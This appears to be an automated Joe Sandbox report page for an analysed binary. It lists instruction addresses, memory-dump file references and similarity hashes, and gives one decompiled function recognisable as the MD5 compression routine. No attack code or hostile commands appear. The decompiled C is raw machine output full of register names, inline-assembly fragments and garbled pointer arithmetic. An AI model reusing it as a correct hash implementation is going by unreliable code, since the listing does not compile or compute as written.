0x7ff7e3720cf5
0x7ff7e3720cff
0x7ff7e3720d03
0x7ff7e3720d0b
0x7ff7e3720d13
0x7ff7e3720d17
0x7ff7e3720d1a
0x7ff7e3720d24
0x7ff7e3720d28
0x7ff7e3720d48
0x7ff7e3720d56
0x7ff7e3720d60
0x7ff7e3720d6a
0x7ff7e3720d6e
0x7ff7e3720d76
0x7ff7e3720d7a
0x7ff7e3720d82
0x7ff7e3720d85
0x7ff7e3720d90
0x7ff7e3720d9b
0x7ff7e3720db7
0x7ff7e3720dc1
0x7ff7e3720dcb
0x7ff7e3720dd5
0x7ff7e3720dd9
0x7ff7e3720de1
0x7ff7e3720de9
0x7ff7e3720ded
0x7ff7e3720df0
0x7ff7e3720dfb
0x7ff7e3720e06
0x7ff7e3720e22
0x7ff7e3720e2c
0x7ff7e3720e36
0x7ff7e3720e40
0x7ff7e3720e44
0x7ff7e3720e4c
0x7ff7e3720e54
0x7ff7e3720e58
0x7ff7e3720e5b
0x7ff7e3720e6d
0x7ff7e3720e71
0x7ff7e3720e86
0x7ff7e3720e97
0x7ff7e3720ea1
0x7ff7e3720eab
0x7ff7e3720eaf
0x7ff7e3720eb7
0x7ff7e3720ebb
0x7ff7e3720ec3
0x7ff7e3720ec6
0x7ff7e3720ed1
0x7ff7e3720edc
0x7ff7e3720ef8
0x7ff7e3720f02
0x7ff7e3720f0c
0x7ff7e3720f16
0x7ff7e3720f1a
0x7ff7e3720f22
0x7ff7e3720f2a
0x7ff7e3720f2e
0x7ff7e3720f31
0x7ff7e3720f3f
0x7ff7e3720f43
0x7ff7e3720f63
0x7ff7e3720f6d
0x7ff7e3720f77
0x7ff7e3720f81
0x7ff7e3720f85
0x7ff7e3720f8d
0x7ff7e3720f91
0x7ff7e3720f99
0x7ff7e3720f9c
0x7ff7e3720fa7
0x7ff7e3720fb2
0x7ff7e3720fce
0x7ff7e3720fd8
0x7ff7e3720fe2
0x7ff7e3720fec
0x7ff7e3720ff0
0x7ff7e3720ff8
0x7ff7e3721000
0x7ff7e3721004
0x7ff7e3721007
0x7ff7e3721012
0x7ff7e372101d
0x7ff7e3721039
0x7ff7e3721043
0x7ff7e372104d
0x7ff7e3721057
0x7ff7e372105b
0x7ff7e3721063
0x7ff7e372106b
0x7ff7e372106f
0x7ff7e3721072
0x7ff7e3721080
0x7ff7e3721084
0x7ff7e372109c
0x7ff7e37210ae
0x7ff7e37210b8
0x7ff7e37210c2
0x7ff7e37210c6
0x7ff7e37210ce
0x7ff7e37210d2
0x7ff7e37210da
0x7ff7e37210dd
0x7ff7e37210e8
0x7ff7e37210f3
0x7ff7e372110f
0x7ff7e3721119
0x7ff7e3721123
0x7ff7e372112d
0x7ff7e3721131
0x7ff7e3721139
0x7ff7e3721141
0x7ff7e3721145
0x7ff7e3721148
0x7ff7e372114c
0x7ff7e3721157
0x7ff7e3721162
0x7ff7e372117e
0x7ff7e3721188
0x7ff7e3721192
0x7ff7e372119c
0x7ff7e37211a0
0x7ff7e37211a8
0x7ff7e37211ac
0x7ff7e37211b0
0x7ff7e37211b4
0x7ff7e37211b8
0x7ff7e37211c2
0x7ff7e37211d9
0x7ff7e37211e3
0x7ff7e37211e6
0x7ff7e37211f1
0x7ff7e37211fc
0x7ff7e3721218
0x7ff7e3721222
0x7ff7e372122c
0x7ff7e3721236
0x7ff7e372123a
0x7ff7e3721240
0x7ff7e3721243
0x7ff7e372124b
0x7ff7e372124e
0x7ff7e3721259
0x7ff7e3721264
0x7ff7e3721280
0x7ff7e372128a
0x7ff7e3721294
0x7ff7e372129e
0x7ff7e37212a2
0x7ff7e37212aa
0x7ff7e37212b2
0x7ff7e37212b6
0x7ff7e37212b9
0x7ff7e37212c7
0x7ff7e37212cb
0x7ff7e37212e8
0x7ff7e37212f5
0x7ff7e37212ff
0x7ff7e3721309
0x7ff7e372130d
0x7ff7e3721315
0x7ff7e3721319
0x7ff7e3721321
0x7ff7e3721324
0x7ff7e372132f
0x7ff7e372133a
0x7ff7e3721356
0x7ff7e3721360
0x7ff7e372136a
0x7ff7e3721374
0x7ff7e3721378
0x7ff7e3721380
0x7ff7e3721388
0x7ff7e372138c
0x7ff7e372138f
0x7ff7e372139a
0x7ff7e37213a5
0x7ff7e37213c1
0x7ff7e37213cb
0x7ff7e37213d5
0x7ff7e37213df
0x7ff7e37213e3
0x7ff7e37213eb
0x7ff7e37213f3
0x7ff7e37213f7
0x7ff7e37213fa
0x7ff7e3721404
0x7ff7e3721408
0x7ff7e3721428
0x7ff7e3721436
0x7ff7e3721440
0x7ff7e372144a
0x7ff7e372144e
0x7ff7e3721456
0x7ff7e372145a
0x7ff7e3721462
0x7ff7e3721465
0x7ff7e3721470
0x7ff7e372147b
0x7ff7e3721494
0x7ff7e3721497
0x7ff7e37214a1
0x7ff7e37214ab
0x7ff7e37214b5
0x7ff7e37214b9
0x7ff7e37214c1
0x7ff7e37214c9
0x7ff7e37214cd
0x7ff7e37214d4
0x7ff7e37214df
0x7ff7e37214ea
0x7ff7e3721506
0x7ff7e3721510
0x7ff7e372151a
0x7ff7e3721524
0x7ff7e3721528
0x7ff7e3721530
0x7ff7e3721534
0x7ff7e3721538
0x7ff7e3721540
0x7ff7e3721552
0x7ff7e372155b
0x7ff7e3721566
0x7ff7e3721569
0x7ff7e3721574
0x7ff7e372157f
0x7ff7e37215a5
0x7ff7e37215af
0x7ff7e37215b9
0x7ff7e37215bd
0x7ff7e37215c3
0x7ff7e37215c6
0x7ff7e37215c9
0x7ff7e37215cd
0x7ff7e37215d5
0x7ff7e37215f0
0x7ff7e37215f5
0x7ff7e372160b
0x7ff7e3721611

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8a108c6ce268227c7ae697d394adfbacbdc0f510fe3a2f17ecccaf43b6d4f18
Instruction ID: 94cffa61c8d05752faa946f6ba9629aba4346be197f67c9982e5af9d15da98cc
Opcode Fuzzy Hash: a8a108c6ce268227c7ae697d394adfbacbdc0f510fe3a2f17ecccaf43b6d4f18
Instruction Fuzzy Hash: 624288EBF50A2C93FB5C4BD6B651F94A34653A97C9F466013FA4C177D5EA38CA81C200

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E37306C0 Relevance: .8, Instructions: 758
COMMONCrypto

Download Yara Rule

C-Code - Quality: 71%

			E00007FF77FF7E37306C0(long long __rcx, signed char* __rdx, void* __r8, void* __r9, void* __r10, void* __r11, long long _a8, signed int _a16, signed int _a24, signed int _a32) {
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				signed int _v96;
				signed int _v100;
				signed int _t506;
				signed int _t558;
				signed int _t561;
				signed int _t564;
				signed int _t567;
				signed int _t570;
				signed int _t573;
				signed int _t575;
				signed int _t580;
				signed int _t584;
				signed int _t593;
				signed int _t596;
				signed int _t599;
				signed int _t607;
				signed int _t608;
				signed int _t611;
				signed int _t614;
				signed int _t617;
				signed int _t620;
				signed int _t623;
				signed int _t626;
				signed int _t629;
				signed int _t632;
				signed int _t635;
				signed int _t638;
				signed int _t641;
				signed int _t644;
				signed int _t651;
				signed int _t658;
				signed int _t665;
				void* _t669;
				signed int* _t670;
				intOrPtr _t674;
				void* _t677;

				_a8 = __rcx;
				_t670 = _t669 - 0x28;
				r9d = __rdx[3] & 0x000000ff;
				r10d = __rdx[0xf] & 0x000000ff;
				r11d = __rdx[0x17] & 0x000000ff;
				r9d = r9d << 8;
				r9d = r9d | __rdx[2] & 0x000000ff;
				r10d = r10d << 8;
				r11d = r11d << 8;
				r9d = r9d << 8;
				r9d = r9d | __rdx[1] & 0x000000ff;
				r9d = r9d << 8;
				r9d = r9d |  *__rdx & 0x000000ff;
				_v88 = r9d;
				_a16 = (((__rdx[7] & 0x000000ff) << 0x00000008 | __rdx[6] & 0x000000ff) << 0x00000008 | __rdx[5] & 0x000000ff) << 0x00000008 | __rdx[4] & 0x000000ff;
				r10d = r10d | __rdx[0xe] & 0x000000ff;
				_v96 = (((__rdx[0xb] & 0x000000ff) << 0x00000008 | __rdx[0xa] & 0x000000ff) << 0x00000008 | __rdx[9] & 0x000000ff) << 0x00000008 | __rdx[8] & 0x000000ff;
				r10d = r10d << 8;
				r10d = r10d | __rdx[0xd] & 0x000000ff;
				r10d = r10d << 8;
				r10d = r10d | __rdx[0xc] & 0x000000ff;
				_v84 = r10d;
				r11d = r11d | __rdx[0x16] & 0x000000ff;
				 *_t670 = (((__rdx[0x13] & 0x000000ff) << 0x00000008 | __rdx[0x12] & 0x000000ff) << 0x00000008 | __rdx[0x11] & 0x000000ff) << 0x00000008 | __rdx[0x10] & 0x000000ff;
				r11d = r11d << 8;
				r11d = r11d | __rdx[0x15] & 0x000000ff;
				r11d = r11d << 8;
				r11d = r11d | __rdx[0x14] & 0x000000ff;
				_v80 = r11d;
				_a32 = (((__rdx[0x1b] & 0x000000ff) << 0x00000008 | __rdx[0x1a] & 0x000000ff) << 0x00000008 | __rdx[0x19] & 0x000000ff) << 0x00000008 | __rdx[0x18] & 0x000000ff;
				r14d = __rdx[0x2b] & 0x000000ff;
				r12d = __rdx[0x37] & 0x000000ff;
				r14d = r14d << 8;
				r12d = r12d << 8;
				_t665 = (((__rdx[0x1f] & 0x000000ff) << 0x00000008 | __rdx[0x1e] & 0x000000ff) << 0x00000008 | __rdx[0x1d] & 0x000000ff) << 0x00000008 | __rdx[0x1c] & 0x000000ff;
				_a24 = (((__rdx[0x23] & 0x000000ff) << 0x00000008 | __rdx[0x22] & 0x000000ff) << 0x00000008 | __rdx[0x21] & 0x000000ff) << 0x00000008 | __rdx[0x20] & 0x000000ff;
				r14d = r14d | __rdx[0x2a] & 0x000000ff;
				_v92 = (((__rdx[0x27] & 0x000000ff) << 0x00000008 | __rdx[0x26] & 0x000000ff) << 0x00000008 | __rdx[0x25] & 0x000000ff) << 0x00000008 | __rdx[0x24] & 0x000000ff;
				r14d = r14d << 8;
				r14d = r14d | __rdx[0x29] & 0x000000ff;
				r14d = r14d << 8;
				r14d = r14d | __rdx[0x28] & 0x000000ff;
				_v100 = (((__rdx[0x2f] & 0x000000ff) << 0x00000008 | __rdx[0x2e] & 0x000000ff) << 0x00000008 | __rdx[0x2d] & 0x000000ff) << 0x00000008 | __rdx[0x2c] & 0x000000ff;
				_t651 = (((__rdx[0x33] & 0x000000ff) << 0x00000008 | __rdx[0x32] & 0x000000ff) << 0x00000008 | __rdx[0x31] & 0x000000ff) << 0x00000008 | __rdx[0x30] & 0x000000ff;
				r12d = r12d | __rdx[0x36] & 0x000000ff;
				r12d = r12d << 8;
				r12d = r12d | __rdx[0x35] & 0x000000ff;
				r12d = r12d << 8;
				r12d = r12d | __rdx[0x34] & 0x000000ff;
				_t506 = (((__rdx[0x3b] & 0x000000ff) << 0x00000008 | __rdx[0x3a] & 0x000000ff) << 0x00000008 | __rdx[0x39] & 0x000000ff) << 0x00000008 | __rdx[0x38] & 0x000000ff;
				r13d =  *(__rcx + 0xc);
				r8d =  *(__rcx + 0x10);
				r9d = _t677 - 0x3e423112;
				_t608 =  *(__rcx + 0x14);
				r15d =  *((intOrPtr*)(__rcx + 8));
				_t658 = (((__rdx[0x3f] & 0x000000ff) << 0x00000008 | __rdx[0x3e] & 0x000000ff) << 0x00000008 | __rdx[0x3d] & 0x000000ff) << 0x00000008 | __rdx[0x3c] & 0x000000ff;
				asm("rol ecx, 0x7");
				_t558 = __r9 - 0x28955b88 + ((_t608 ^ r8d) & r13d ^ _t608) + r15d + r13d;
				r8d = r8d + 0x242070db;
				asm("rol edx, 0xc");
				_t611 = _t608 + 0xe8c7b756 + ((r8d ^ r13d) & _t558 ^ r8d) + _a16 + _t558;
				r8d = r8d + ((r13d ^ _t558) & _t611 ^ r13d) + _v96;
				asm("inc ecx");
				r8d = r8d + _t611;
				r10d = __rcx - 0xa83f051;
				r9d = r9d + ((_t611 ^ _t558) & r8d ^ _t558) + r10d;
				asm("inc ecx");
				r9d = r9d + r8d;
				r10d = r10d + ((_t611 ^ r8d) & r9d ^ _t611) +  *_t670;
				asm("inc ecx");
				r10d = r10d + r9d;
				asm("rol ecx, 0xc");
				_t561 =  &(( &(( &(__rdx[0x4787c62a]))[((r8d ^ r9d) & r10d ^ r8d) + r11d]))[r10d]);
				asm("ror edx, 0xf");
				_t614 = __r8 - 0x57cfb9ed + ((r9d ^ r10d) & _t561 ^ r9d) + _a32 + _t561;
				r8d = __r9 - 0x2b96aff;
				r8d = r8d + ((_t561 ^ r10d) & _t614 ^ r10d) + _t665;
				r9d = __r10 + 0x698098d8;
				asm("inc ecx");
				r10d = __rcx - 0x74bb0851;
				r8d = r8d + _t614;
				r9d = r9d + ((_t561 ^ _t614) & r8d ^ _t561) + _a24;
				asm("inc ecx");
				r9d = r9d + r8d;
				r10d = r10d + ((_t614 ^ r8d) & r9d ^ _t614) + _v92;
				asm("inc ecx");
				r10d = r10d + r9d;
				r8d = __r9 + 0x6b901122;
				asm("ror ecx, 0xf");
				_t564 = __rdx - 0xa44f + ((r8d ^ r9d) & r10d ^ r8d) + r14d + r10d;
				r9d = __r10 - 0x2678e6d;
				asm("ror edx, 0xa");
				_t617 = __r8 - 0x76a32842 + ((r10d ^ r9d) & _t564 ^ r9d) + _v100 + _t564;
				r10d = __rcx - 0x5986bc72;
				r8d = r8d + ((r10d ^ _t564) & _t617 ^ r10d) + _t651;
				asm("inc ecx");
				r8d = r8d + _t617;
				r9d = r9d + ((_t564 ^ _t617) & r8d ^ _t564) + r12d;
				asm("inc ecx");
				r9d = r9d + r8d;
				r10d = r10d + ((_t617 ^ r8d) & r9d ^ _t617) + _t506;
				asm("inc ecx");
				r10d = r10d + r9d;
				asm("ror ecx, 0xa");
				_t567 =  &(( &(( &(__rdx[0x49b40821]))[((r9d ^ r8d) & r10d ^ r8d) + _t658]))[r10d]);
				r8d = __r9 - 0x3fbf4cc0;
				r9d = __r10 + 0x265e5a51;
				asm("rol edx, 0x5");
				_t620 = __r8 - 0x9e1da9e + ((r10d ^ _t567) & r9d ^ r10d) + _a16 + _t567;
				r10d = __rcx - 0x16493856;
				r8d = r8d + ((_t567 ^ _t620) & r10d ^ _t567) + _a32;
				asm("inc ecx");
				r8d = r8d + _t620;
				r9d = r9d + ((r8d ^ _t620) & _t567 ^ _t620) + _v100;
				asm("inc ecx");
				r9d = r9d + r8d;
				r10d = r10d + ((r8d ^ r9d) & _t620 ^ r8d) + _v88;
				asm("inc ecx");
				r10d = r10d + r9d;
				r8d = __r9 - 0x275e197f;
				asm("rol ecx, 0x5");
				_t570 = __rdx - 0x29d0efa3 + ((r9d ^ r10d) & r8d ^ r9d) + r11d + r10d;
				r9d = __r10 - 0x182c0438;
				asm("rol edx, 0x9");
				_t623 = __r8 + 0x2441453 + ((r10d ^ _t570) & r9d ^ r10d) + r14d + _t570;
				r10d = __rcx + 0x21e1cde6;
				r8d = r8d + ((_t623 ^ _t570) & r10d ^ _t570) + _t658;
				asm("inc ecx");
				r8d = r8d + _t623;
				r9d = r9d + ((_t623 ^ r8d) & _t570 ^ _t623) +  *_t670;
				asm("inc ecx");
				r9d = r9d + r8d;
				r10d = r10d + ((r8d ^ r9d) & _t623 ^ r8d) + _v92;
				asm("inc ecx");
				r10d = r10d + r9d;
				r11d = __r9 + 0x455a14ed;
				asm("rol ecx, 0x9");
				_t573 = __rdx - 0x3cc8f82a + ((r9d ^ r10d) & r8d ^ r9d) + _t506 + r10d;
				r8d = __r10 - 0x561c16fb;
				r9d = __rcx - 0x3105c08;
				asm("rol edx, 0xe");
				_t626 = __r8 - 0xb2af279 + ((_t573 ^ r10d) & r9d ^ r10d) + _v84 + _t573;
				r10d =  &(__rdx[0x676f02d9]);
				r11d = r11d + ((_t573 ^ _t626) & r10d ^ _t573) + _a24;
				asm("inc ecx");
				r11d = r11d + _t626;
				r8d = r8d + ((_t626 ^ r11d) & _t573 ^ _t626) + r12d;
				asm("inc ecx");
				r8d = r8d + r11d;
				r9d = r9d + ((r11d ^ r8d) & _t626 ^ r11d) + _v96;
				asm("inc ecx");
				r9d = r9d + r8d;
				r10d = r10d + ((r9d ^ r8d) & r11d ^ r8d) + _t665;
				asm("inc ecx");
				r10d = r10d + r9d;
				_t575 = r9d ^ r10d;
				asm("ror edx, 0xc");
				_t629 = __r11 - 0x72d5b376 + (_t575 & r8d ^ r9d) + _t651 + r10d;
				r8d = r8d + (_t575 ^ _t629) + 0xfffa3942 + _v80;
				asm("inc ecx");
				r8d = r8d + _t629;
				r9d = r9d + (r10d ^ _t629 ^ r8d) + 0x8771f681 + _a24;
				asm("inc ecx");
				r9d = r9d + r8d;
				r10d = r10d + (r9d ^ _t629 ^ r8d) + 0x6d9d6122 + _v100;
				asm("inc ecx");
				r10d = r10d + r9d;
				r11d = __rdx - 0x21ac7f4;
				_t580 = r9d ^ r10d;
				r8d = __r9 + 0x4bdecfa9;
				r9d = __r10 - 0x944b4a0;
				r11d = r11d + (_t580 ^ r8d) + _t506;
				asm("inc ecx");
				r11d = r11d + r10d;
				asm("rol edx, 0x4");
				r10d = __r11 - 0x41404390;
				_t632 = __r8 - 0x5b4115bc + (_t580 ^ r11d) + _a16 + r11d;
				r8d = r8d + (r10d ^ r11d ^ _t632) +  *_t670;
				asm("inc ecx");
				r8d = r8d + _t632;
				r11d =  &(__rdx[0x289b7ec6]);
				r9d = r9d + (r8d ^ r11d ^ _t632) + _t665;
				asm("inc ecx");
				r9d = r9d + r8d;
				_t584 = r8d ^ r9d;
				r10d = r10d + (_t584 ^ _t632) + r14d;
				asm("inc ecx");
				r10d = r10d + r9d;
				r11d = r11d + (_t584 ^ r10d) + r12d;
				asm("inc ecx");
				r11d = r11d + r10d;
				r8d = r8d + (r9d ^ r10d ^ r11d) + 0xeaa127fa + _v88;
				asm("inc ecx");
				r8d = r8d + r11d;
				r9d = r9d + (r8d ^ r10d ^ r11d) + 0xd4ef3085 + _v84;
				asm("inc ecx");
				r9d = r9d + r8d;
				asm("ror edx, 0x9");
				_t635 = __r10 + 0x4881d05 + (r8d ^ r9d ^ r11d) + _a32 + r9d;
				r10d = __rcx - 0x262b2fc7;
				r10d = r10d + r11d;
				asm("inc ecx");
				r10d = r10d + _t635;
				r8d = __r9 + 0x1fa27cf8;
				r9d = __rdx - 0x3b53a99b;
				asm("rol ecx, 0xb");
				_t593 = __r8 - 0x1924661b + (r9d ^ _t635 ^ r10d) + _t651 + r10d;
				r8d = r8d + (_t593 ^ _t635 ^ r10d) + _t658;
				asm("inc ecx");
				r8d = r8d + _t593;
				r10d = __rcx + 0x432aff97;
				r9d = r9d + (_t593 ^ r8d ^ r10d) + _v96;
				asm("inc ecx");
				r9d = r9d + r8d;
				asm("rol edx, 0x6");
				_t638 = __r10 - 0xbd6ddbc + (( !_t593 | r9d) ^ r8d) + _v88 + r9d;
				r8d = __r9 - 0x36c5fc7;
				r10d = r10d + (( !r8d | _t638) ^ r9d) + _t665;
				asm("inc ecx");
				r10d = r10d + _t638;
				r9d =  &(__rdx[0x655b59c3]);
				asm("rol ecx, 0xf");
				_t596 = __r8 - 0x546bdc59 + (( !r9d | r10d) ^ _t638) + _t506 + r10d;
				r8d = r8d + (( !_t638 | _t596) ^ r10d) + _v80;
				asm("inc ecx");
				r8d = r8d + _t596;
				r10d = __rcx - 0x100b83;
				r9d = r9d + (( !r10d | r8d) ^ _t596) + _t651;
				asm("inc ecx");
				r9d = r9d + r8d;
				asm("rol edx, 0xa");
				_t641 = __r10 - 0x70f3336e + (( !_t596 | r9d) ^ r8d) + _v84 + r9d;
				r10d = r10d + (( !r8d | _t641) ^ r9d) + r14d;
				asm("inc ecx");
				r10d = r10d + _t641;
				r8d = __r9 + 0x6fa87e4f;
				r9d = r10d;
				r9d =  !r9d;
				r11d = __r10 - 0x5cfebcec;
				asm("ror ecx, 0xb");
				_t599 = __r8 - 0x7a7ba22f + (( !r9d | r10d) ^ _t641) + _a16 + r10d;
				r8d = r8d + (( !_t641 | _t599) ^ r10d) + _a24;
				r10d = __rcx + 0x4e0811a1;
				asm("inc ecx");
				r8d = r8d + _t599;
				r9d = r9d | r8d;
				r9d = r9d ^ _t599;
				r9d = r9d + 0xfe2ce6e0;
				r9d = r9d + _t658;
				r9d = r9d + _t641;
				asm("inc ecx");
				r9d = r9d + r8d;
				r11d = r11d + (( !_t599 | r9d) ^ r8d) + _a32;
				asm("inc ecx");
				r11d = r11d + r9d;
				r10d = r10d + (( !r8d | r11d) ^ r9d) + r12d;
				_t674 = _a8;
				asm("inc ecx");
				r10d = r10d + r11d;
				r8d = r8d + (( !r9d | r10d) ^ r11d) + 0xf7537e82 +  *_t670;
				asm("inc ecx");
				r8d = r8d + r10d;
				asm("rol edx, 0xa");
				_t644 = __r9 - 0x42c50dcb + (( !r11d | r8d) ^ r10d) + _v100 + r8d;
				 *((intOrPtr*)(_t674 + 8)) = __rcx + __r8;
				r8d =  !r8d;
				asm("rol ecx, 0xf");
				_t607 = (( !r10d | _t644) ^ r8d) + 0x2ad7d2bb + _v96 + r11d + _t644;
				r8d = r8d | _t607;
				r8d = r8d ^ _t644;
				r8d = r8d + _v92;
				 *((intOrPtr*)(_t674 + 0x10)) =  *((intOrPtr*)(_t674 + 0x10)) + _t607;
				 *((intOrPtr*)(_t674 + 0x14)) =  *((intOrPtr*)(_t674 + 0x14)) + _t644;
				asm("ror eax, 0xb");
				 *((intOrPtr*)(_t674 + 0xc)) = __r10 - 0x14792c6f + r8d + r13d + _t607;
				return 0;
			}

0x7ff7e37306c0
0x7ff7e37306d1
0x7ff7e37306dc
0x7ff7e37306e5
0x7ff7e37306ea
0x7ff7e37306f6
0x7ff7e37306fa
0x7ff7e37306fd
0x7ff7e3730705
0x7ff7e3730709
0x7ff7e373070d
0x7ff7e3730713
0x7ff7e3730717
0x7ff7e3730720
0x7ff7e373073b
0x7ff7e373075e
0x7ff7e3730761
0x7ff7e3730770
0x7ff7e3730774
0x7ff7e373077b
0x7ff7e373077f
0x7ff7e3730788
0x7ff7e37307a3
0x7ff7e37307a6
0x7ff7e37307b4
0x7ff7e37307b8
0x7ff7e37307bf
0x7ff7e37307c3
0x7ff7e37307cc
0x7ff7e37307e7
0x7ff7e37307fb
0x7ff7e3730804
0x7ff7e3730814
0x7ff7e3730820
0x7ff7e373082e
0x7ff7e373084c
0x7ff7e3730872
0x7ff7e3730875
0x7ff7e3730884
0x7ff7e3730888
0x7ff7e373088f
0x7ff7e3730893
0x7ff7e37308b4
0x7ff7e37308c8
0x7ff7e37308ce
0x7ff7e37308d5
0x7ff7e37308d9
0x7ff7e37308e0
0x7ff7e37308e4
0x7ff7e37308fd
0x7ff7e373090a
0x7ff7e373090e
0x7ff7e373091e
0x7ff7e373092b
0x7ff7e373092f
0x7ff7e3730936
0x7ff7e3730953
0x7ff7e3730956
0x7ff7e373095e
0x7ff7e3730970
0x7ff7e3730973
0x7ff7e373097e
0x7ff7e3730985
0x7ff7e3730989
0x7ff7e3730994
0x7ff7e373099b
0x7ff7e37309a6
0x7ff7e37309ad
0x7ff7e37309bf
0x7ff7e37309c8
0x7ff7e37309cc
0x7ff7e37309e0
0x7ff7e37309e3
0x7ff7e37309f9
0x7ff7e37309fc
0x7ff7e3730a05
0x7ff7e3730a0c
0x7ff7e3730a0f
0x7ff7e3730a18
0x7ff7e3730a1e
0x7ff7e3730a25
0x7ff7e3730a3a
0x7ff7e3730a42
0x7ff7e3730a46
0x7ff7e3730a59
0x7ff7e3730a62
0x7ff7e3730a66
0x7ff7e3730a6f
0x7ff7e3730a81
0x7ff7e3730a84
0x7ff7e3730a8c
0x7ff7e3730a9e
0x7ff7e3730aa1
0x7ff7e3730aa8
0x7ff7e3730ab1
0x7ff7e3730ab8
0x7ff7e3730abc
0x7ff7e3730acd
0x7ff7e3730ad5
0x7ff7e3730ad9
0x7ff7e3730ae3
0x7ff7e3730aec
0x7ff7e3730af0
0x7ff7e3730b00
0x7ff7e3730b03
0x7ff7e3730b1b
0x7ff7e3730b22
0x7ff7e3730b29
0x7ff7e3730b2c
0x7ff7e3730b35
0x7ff7e3730b45
0x7ff7e3730b48
0x7ff7e3730b4c
0x7ff7e3730b62
0x7ff7e3730b68
0x7ff7e3730b6c
0x7ff7e3730b82
0x7ff7e3730b88
0x7ff7e3730b8c
0x7ff7e3730b95
0x7ff7e3730ba7
0x7ff7e3730baa
0x7ff7e3730bb2
0x7ff7e3730bc1
0x7ff7e3730bc4
0x7ff7e3730bcd
0x7ff7e3730bd8
0x7ff7e3730bdd
0x7ff7e3730be1
0x7ff7e3730bee
0x7ff7e3730bf4
0x7ff7e3730bf8
0x7ff7e3730c07
0x7ff7e3730c0d
0x7ff7e3730c11
0x7ff7e3730c2e
0x7ff7e3730c35
0x7ff7e3730c38
0x7ff7e3730c3b
0x7ff7e3730c4d
0x7ff7e3730c5c
0x7ff7e3730c5f
0x7ff7e3730c6f
0x7ff7e3730c76
0x7ff7e3730c7b
0x7ff7e3730c7f
0x7ff7e3730c8c
0x7ff7e3730c92
0x7ff7e3730c96
0x7ff7e3730cac
0x7ff7e3730caf
0x7ff7e3730cb3
0x7ff7e3730cc7
0x7ff7e3730cca
0x7ff7e3730cce
0x7ff7e3730cd1
0x7ff7e3730ce3
0x7ff7e3730ce6
0x7ff7e3730cf7
0x7ff7e3730cfa
0x7ff7e3730cfe
0x7ff7e3730d10
0x7ff7e3730d13
0x7ff7e3730d17
0x7ff7e3730d2b
0x7ff7e3730d2e
0x7ff7e3730d32
0x7ff7e3730d35
0x7ff7e3730d3f
0x7ff7e3730d4e
0x7ff7e3730d57
0x7ff7e3730d5e
0x7ff7e3730d64
0x7ff7e3730d68
0x7ff7e3730d77
0x7ff7e3730d7a
0x7ff7e3730d81
0x7ff7e3730d89
0x7ff7e3730d8c
0x7ff7e3730d90
0x7ff7e3730d9c
0x7ff7e3730da7
0x7ff7e3730daa
0x7ff7e3730dae
0x7ff7e3730db1
0x7ff7e3730dbb
0x7ff7e3730dc1
0x7ff7e3730dc5
0x7ff7e3730dd1
0x7ff7e3730ddb
0x7ff7e3730ddf
0x7ff7e3730dee
0x7ff7e3730df1
0x7ff7e3730df5
0x7ff7e3730e0d
0x7ff7e3730e10
0x7ff7e3730e14
0x7ff7e3730e2b
0x7ff7e3730e2e
0x7ff7e3730e39
0x7ff7e3730e40
0x7ff7e3730e43
0x7ff7e3730e47
0x7ff7e3730e58
0x7ff7e3730e5f
0x7ff7e3730e66
0x7ff7e3730e69
0x7ff7e3730e7c
0x7ff7e3730e81
0x7ff7e3730e85
0x7ff7e3730e8e
0x7ff7e3730e99
0x7ff7e3730ea0
0x7ff7e3730ea4
0x7ff7e3730ebf
0x7ff7e3730ec2
0x7ff7e3730ec5
0x7ff7e3730ed3
0x7ff7e3730edb
0x7ff7e3730edf
0x7ff7e3730ee2
0x7ff7e3730ef6
0x7ff7e3730ef9
0x7ff7e3730f0c
0x7ff7e3730f14
0x7ff7e3730f18
0x7ff7e3730f1b
0x7ff7e3730f29
0x7ff7e3730f30
0x7ff7e3730f34
0x7ff7e3730f48
0x7ff7e3730f4b
0x7ff7e3730f56
0x7ff7e3730f60
0x7ff7e3730f64
0x7ff7e3730f67
0x7ff7e3730f71
0x7ff7e3730f76
0x7ff7e3730f7e
0x7ff7e3730f8f
0x7ff7e3730f92
0x7ff7e3730fa1
0x7ff7e3730fa4
0x7ff7e3730fad
0x7ff7e3730fb1
0x7ff7e3730fb6
0x7ff7e3730fb9
0x7ff7e3730fbc
0x7ff7e3730fc3
0x7ff7e3730fc6
0x7ff7e3730fc9
0x7ff7e3730fcd
0x7ff7e3730fdd
0x7ff7e3730fea
0x7ff7e3730ff0
0x7ff7e3730ffc
0x7ff7e3731002
0x7ff7e3731009
0x7ff7e373100d
0x7ff7e3731023
0x7ff7e3731029
0x7ff7e373102f
0x7ff7e3731042
0x7ff7e3731045
0x7ff7e3731048
0x7ff7e3731051
0x7ff7e3731061
0x7ff7e3731064
0x7ff7e3731066
0x7ff7e3731069
0x7ff7e373106c
0x7ff7e3731071
0x7ff7e373107c
0x7ff7e3731083
0x7ff7e373108b
0x7ff7e37310a1

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
